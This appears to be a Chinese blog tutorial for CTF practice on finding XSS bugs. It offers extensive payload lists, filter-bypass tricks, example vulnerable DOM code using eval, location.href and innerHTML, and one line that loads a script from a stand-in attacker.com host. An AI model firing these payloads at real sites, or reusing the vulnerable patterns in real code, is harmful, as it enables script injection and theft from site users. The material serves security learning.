安全CTF练习

XSS漏洞挖掘

2019-02-26  本文已影响17人  Ackerzy

写在前面

文章内容参考自
https://twosecurity.io/
http://www.4hou.com/web/15212.html

文章主体来自https://twosecurity.io/的付费内容,并根据作者的基础进行了一定的增删,希望获取全部内容的读者可以前去支持。
文章的部分内容搬运自不同的博文,由于这篇文章总结梳理时间较长,遗忘了大部分网络资源的地址,如果你发现文章内容搬运自你的博客,请留言联系我。

一、XSS漏洞

常用测试payload

"'><svg/onload=alert(1)//

二、XSS的分类

反射型 XSS 漏洞的挖掘

(反射型XSS测试PAYLAOD)

a: ?name=<h1>amber&age=1
b: ?name=amber&age=<h1>

在网页源码中查找 amber并查看h1<是否被转义

< >符号未被转义则将参数转换成svg

payload的进一步构造

<svg>存在源码中再添加内联事件执行语句

<svg/onload=alert(1)>

onload是指在加载该页面时就执行,然后观察是否有弹窗。

存储型 XSS 漏洞的挖掘

存储型XSS简单分类

存储型XSS分类

操作步骤

在 burpsuite 的 intercepter 模块下,点击「 Intercepter is off 」按钮开启请求拦截 ——>在网站可输入处写入 XXXXX 的字符串——>查看拦截请求,将XXXXX字符串替换为payload

替换的payload

<a href="javascript:alert(1)">click</a>
Data URI,仅限 Firefox 下可以利用:
<a href="data:text/html,<script>alert(1)</script>">click</a>
JS URI:
<embed src=javascript:alert(1)>

存储型XSS挖掘总结

存储型XSS挖掘总结

DOM XSS 漏洞的挖掘

与普通XSS不同的是,DOM XSS是在浏览器的解析中改变页面DOM树,且恶意代码并不在返回页面源码中回显,这使我们无法通过特征匹配来检测DOM XSS。

<script>
    eval(location.hash.substr(1));
</script>

触发XSS的一种方式如下:
http://www.foo.com/xss.html#alert(1)
这个URL显然不会发送到服务端,仅仅是在客户端被接收并解析执行

页面跳转

页面跳转中常用的三种方式:

1)302跳转

2)Meta标签跳转

3)通过JS跳转,使用location.href、location.replace()、location.assign()。

在页面跳转时,如果使用第三种方式跳转,那么就可以通过javascript伪协议执行JS脚本。
注意前两种跳转方式是无法执行的。
所以在页面跳转时针对跳转URL要做检测,否则就容易造成XSS。

例如:

<script type="text/javascript">
    var s=location.search;
    s=s.substring(1,s.length);   
    var url="";

    if(s.indexOf("url=")>-1){
        var pos=s.indexOf("url=")+4; 
        url=s.substring(pos,s.length);
        location.href = url;
    }  
</script>

payload:http://192.168.192.120/1.html?url=javascript:alert(1)

取值写入页面或动态执行

接受用户输入,并通过DOM操作写入到当前页面中或者动态执行,也可以触发XSS

<html>
<head>
</head>
<body>
    <div id='text'>test</div>
    <div id='html'>html</div>
    <script>
        document.getElementById('html').innerHTML = "<img/src='x' onerror=alert(1)>";
    </script>
</body>
</html>

DOM XSS输入点

Location 当前网页的URL地址
window.name 当前网页 tab 的名字,它被不同的网站赋值,也就是说这个网页为window.name 赋值后再跳转到其它网站,window.name 的值依然不变
document.title 是当前网页的标题,可以在搜索框输入控制它的内容
document.referer 表示来路,表示从哪个网页URL访问过来的
postMessage 是HTML5 的一种跨域机制,但很多时候开发者没有正确的做来源检测,会导致 DOM XSS 的发生
location 它触发 JS 通常是以跳转到 JS URI 的方式执行
eval 是JS 内置的动态JS执行器
innerHTML 能为一个网页元素赋值
document.write 可以输出一个页面流
Function 能通过函数生成一个函数,可以传入动态JS代码
setTimeout 会延时执行JS代码
setInterval 表示循环执行 JS 代码

闭合问题

引号,尖括号闭合说明

举例

假设输入框源码:<input type="text" name="2sec" value="[?]">

其中value中的[?]是可输入部分

payload1:

value=" "autofocus/onfocus=alert(1)//">

autofocus:对象在加载完成后自动获得焦点
onfocus:事件在对象获得焦点时发生
第一个引号用于和value中的前一个引号闭合,结尾的//用于注释后面的语句,这样使得xss能被浏览器完整的解析
value=" "autofocus/onfocus=alert(1)//" "

payload2:

value=" "><svg onload=alert("XSS")//">

第一个引号和用于和value中的前一个引号闭合,>用于和input左边的<闭合,<用于和结尾处的>闭合
<input type="text" name="2sec" value=" **"><svg onload=alert("XSS")//"> **

HTML标签下的情况

HTML标签下的XSS是一种最常见的情况,例如:

<!DOCTYPE HTML>
<html>
<head>
<title>HTML Context</title>
</head>
<body>
{{用户输入}}
</body>
</html>

可以使用以下payloads:

<script src=//attacker.com/evil.js></script>
<script>alert(1)</script>
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe onload=alert(1)>

为了注入JS代码成功,我们需要闭合前面的HTML标签,然后使用<svg onload=alert(1)// 类似payload 就可以成功XSS。

但是有些html标签中不执行js代码,例如:<title>, <textarea >,<xmp>都需要使用</title><script>alert(1)</script> 先闭合标签,再插入JS代码。

HTML属性下的情况

用户的输入是在HTML 标签的属性当中的时候,怎么来执行JS 代码。会有三种情况:

<!DOCTYPE HTML>
<html>
<head>
<title></title>
</head>
<body>
.....
...
<input type="" name="input" value="{{用户输入}}"> <!-- 双引号 -->
<input type="" name="input" value='{{用户输入}}'> <!-- 单引号 -->
<input type="" name="input" value={{用户输入}}> <!-- 无引号 -->
...
....
</body>
</html>
  1. 双引号payloads:
"autofocus onfocus="alert(1)
"autofocus onfocus=alert(1)//
"onbeforescriptexecute=alert(1)//
"onmouseover="alert(1)//
"autofocus onblur="alert(1)
  1. 单引号payloads:
'autofocus onfocus='alert(1)
'autofocus onfocus=alert(1)//
'onbeforescriptexecute=alert(1)//
'onmouseover='alert(1)//
'autofocus onblur='alert(1)
  1. 无引号payloads:
autofocus onfocus=alert(1)//
onbeforescriptexecute=alert(1)//
onmouseover=alert(1)//
  1. hidden 标签:

1)再onclick时间下,使用accesskey

<!DOCTYPE HTML>
<html>
..
<input type="hidden" value="{{用户输入}}" />
..
</html>

Payload: "accesskey="X" onclick="alert(1)" ,为了触发事件,需要按Alt+X 键。

URL下的情况

使用了加载URL的标签

<script src="{{用户输入}}"></script>

<a href="{{用户输入}}">Click</a>

<iframe src="{{用户输入}}" />

<base href="{{用户输入}}">

<form action={{用户输入}}>
<button>X</button>

<frameset><frame src="{{用户输入}}"></frameset>

Payload: javascript:alert(1)//

Script标签下的情况

用户的输入在<script> 标签中,从而导致的JS代码执行。

<!DOCTYPE HTML>
<html>
..
<script>
var x="{{用户输入}}";
..
...
</script>
..
</html>

Payloads:

";alert(1)//
"-alert(1)-"
"+alert(1)+"
"*alert(1)*"
<!DOCTYPE HTML>
<html>
..
<script>
var x=123;
function test(){
    if(test =='{{用户输入}}'){
        //something
    }
    else
    {
    //something
    }
}
test();
</script>
..
</html>

首先用 test'){// 封闭条件判断的地方,变成:

function test(){
    if(test =='test'){//'){
    //something
    }
    else
    {
    //something
    }
}

但是这样只有在调用test()才能执行,所以我们要跳出这个函数输入:test'){1}}// 封闭test()函数:

function test(){
    if(test =='test'){1}}//'){
    //something
    }
    else
    {
    //something
    }
}

我们在使用test'){1}};alert(1);function test1(){ if(1){// 把对应的test位置替换下,利用test1 来封闭剩下的函数,但是这样执行会有错误,我们使用ES6的箭头函数来替代function :

function test(){
    if(test =='test'){1}};alert(1);test1=>{ if(1){//'){1}}//'){
    //something
    }
    else
    {
    //something
    }
}

未设置过滤情况下利用script进行闭合

<script>var website="http://www.xxx.com/"</script><script>alert(1)//";</script>

双引号绕过<过滤

<script>var website="http://www.xxx.com/"-alert(1)//";</script>

-alert(1)/" 中的减号的意思:让 js 语句不发生错误 ('+',在 url 的 uqery 中是空格的编码,而 % 号是表示url编码的标识符,/号在url中是表示一个path,所以用减号最合适。)

使用换行符跳过注释

<script>//var website="http://www.xxx.com/
    alert(1)//";</script>

**多行注释绕过 **

<script>/*var website="http://www.xxx.com/ */alert(1)//"; */</script>

利用HTML编码闭合单引号

在 HTML 编码中,单引号对应的有 命名编码:&apos; 、十进制编码:&#39;、十六进制编码:&#x27;

XSS 漏洞挖掘总结

XSS挖掘

三、混淆和绕过

基本变形

最简单的测试XSS的payload

<script>alert(1)</script>

如果测试的参数存在XSS,就会弹窗显示1

这个payload肯定会被过过滤,可以对payload进行简单修改,绕过默认的filter。

在script标签钟插入一个空格或者是tab
<script >alert(1)</script>
<script    >alert(1)</script>

也可以对tab,换行,回车进行编码来绕过
<script&#9>alert(1)</script>
<script&#10>alert(1)</script>
<script&#13>alert(1)</script>

对标签进行大小写
<ScRipT>alert(1)</sCriPt>

插入null字节,在xss payload的任何地方插入null字节,有时候可以绕过filter
<%00script>alert(1)</script>
<script>al%00ert(1)</script>

事件属性

<input autofocus onfocus=alert(1)> 
<input onblur=alert(1) autofocus><input autofocus> 
<body onscroll=alert(1)><br><br>...<br><input autofocus>
Reference(十进制Unicode) Chrome浏览器(对应的空白分隔符) Edge浏览器(对应的空白分隔符) IE浏览器(对应的空白分隔符)
属性中支持反引号 不支持 不支持 IE >= 10 docmode: 不支持 IE < 10 docmode: 支持
标签名称中的空白分隔符(e.g. []src="javascript:alert(1)">) 9,10,12,13, 32,47 9,10,12,13,32,47 IE < 10 docmode:9, 10,11,12,13,32,47 IE >= 10 docmode:9, 10,12,13,32,47
属性中的空白分隔符 (e.g.<iframe[]src[]= []"javascript:alert(1)">) 9,10,12,13, 32 9,10,12,13,32 IE < 10 docmode:0 ,9, 10,11,12,13,32,47 IE >= 10 docmode:9, 10,12,13,32
JavaScript中的空白分隔符 9-13,32, 160,5760, 8192-8202, 8232,8233, 8239,8287, 12288,65279, 65534 在附录中能找到Edge所支持的字符 9-13,32,160,5760, 6158,8192-8202, 8232,8233,8239, 8287,12288,65279
URL中的空白分隔符 (e.g.<iframe src="[]javascript:alert(1)">) 9,10,13,32 9,10,13,32 1-7,9,10,11,12,13, 32
CSS中的空白分隔符 9,10,12,13, 32 9,10,12,13,32 IE < 10 docmode:9, 10,11,12,13,32,160, 8192-8203,12288, 65279 IE >= 10 docmode:9, 10,12,13,32

打开Chrome控制台->Console,输入String.fromCharCode(9),即复制到9所对应的字符

分隔符和括号

分隔符是用于分隔文本字符串或者其他数据流的一个或多个字符。在挖xss漏洞时,巧妙的使用分隔符非常有效。在HTML中,我们经常使用空格来分隔属性和它的值。还有的时候,只要使用一个单引号或者双引号作为分隔符就可以绕过filter了,如下:

<img onerror="alert(1)"src=x>
<img onerror='alert(1)'src=x>

对分隔符进行编码也可以用来绕过防御
<img onerror=&#34alert(1)&#34src=x>
<img onerror=&#39alert(1)&#39src=x>

反引号也是绕过filter的一种不错的技巧

<img onerror=`alert(1)`src=x>
编码版本如下:
<img onerror=&#96alert(1)&#96src=x>

Filter有时候会过滤某些关键词,比如以“on”开头的事件处理器,以此来防御此类xss攻击。

如果我们把属性的位置换到前面,filter无法识别反引号,会将它视为不是以“on”开头的单独的属性,这样也就可以有效绕过filter了,如下:

<img src=`x`onerror=alert(1)>

跟分隔符一样,尖括号也可以利用来绕过filter。在某些情况下,filter仅仅只会查找开始括号和闭合括号,然后将尖括号里面的内容与恶意标签黑名单比较。通过使用多个尖括号,有时候可以骗过filter接受后面的代码。再使用双斜线注释掉后面的闭合标签,所以也不会报错,如下:

<<script>alert(1)//<</script>

还有时候在结束的地方使用开尖括号也有可能绕过filter
<input onsubmit=alert(1)<

标签名分隔符

<img/onerror=alert(1) src=a>
<img[0x09]onerror=alert(1) src=a>
<img[0x0d]onerror=alert(1) src=a>
<img[0x0a]onerror=alert(1) src=a>
<img/"onerror=alert(1) src=a>
<img/'onerror=alert(1) src=a>
<img/anyjunk/onerror=alert(a) src=a>

(字符引用解析)

Reference Chrome浏览器 Edge浏览器 IE浏览器
十进制数字字符引用的最大长度 (e.g.&x00000060;) 无限 无限 IE >= 9 docmode: 无限IE < 9 docmode: 7;一旦超出限制会被?符代替
八进制数字字符引用的最大长度 (e.g. <) 无限 无限 IE >= 9 docmode: 无限IE < 9 docmode: 6;一旦超出限制会被?符代替
HTML5字符实体支持 支持 支持 IE >= 10 docmode: 支持IE < 10 docmode: 不支持
在某些情况下可以选择忽略分号 (e.g.<p>&#97</p>, <input value="&#97">) 支持 支持 IE >= 9 docmode: 支持IE < 9 docmode: 支持 除了十六进制数字字符引用

JS编码

a\u006cert(1);
alert`1`;
location=/javascript:alert%281%29/.source;

HTML编码

<a href="javascsipt:alert(1)">click</a>

备注:CSP策略

在挖掘过程中可能会遇到使用CSP策略禁止网站弹出JavaScript警告窗口的情况。
CSP:Content-Security-Policy(内容安全策略),以白名单的机制对网站加载或执行的资源起作用。通过CSP所约束的的规责指定可信的内容来源(这里的内容可以指脚本、图片、iframe、fton、style等等可能的远程的资源)。通过CSP协定,让WEB处于一个安全的运行环境中。

四、漏洞利用

img

HTTPOnly Cookies

HttpOnly属性介绍:

Cookie的HttpOnly属性是Cookie的扩展功能,它使JavaScript脚本无法获得Cookie。其主要目的是为了防止XSS对Cookie的信息窃取。

发送指定HttpOnly属性的Cookie的方法如下:

Set-Cookie: name=value; HttpOnly

通过上述设置,通常从Web页面内还可以对Cookie进行读取操作。但使用JavaScript的doucment.cookie就无法读取附加HttpOnly属性后的Cookie内容了。

利用过程

(以下图片展示了攻击者的XSS漏洞利用流程)

img
上一篇下一篇

猜你喜欢

热点阅读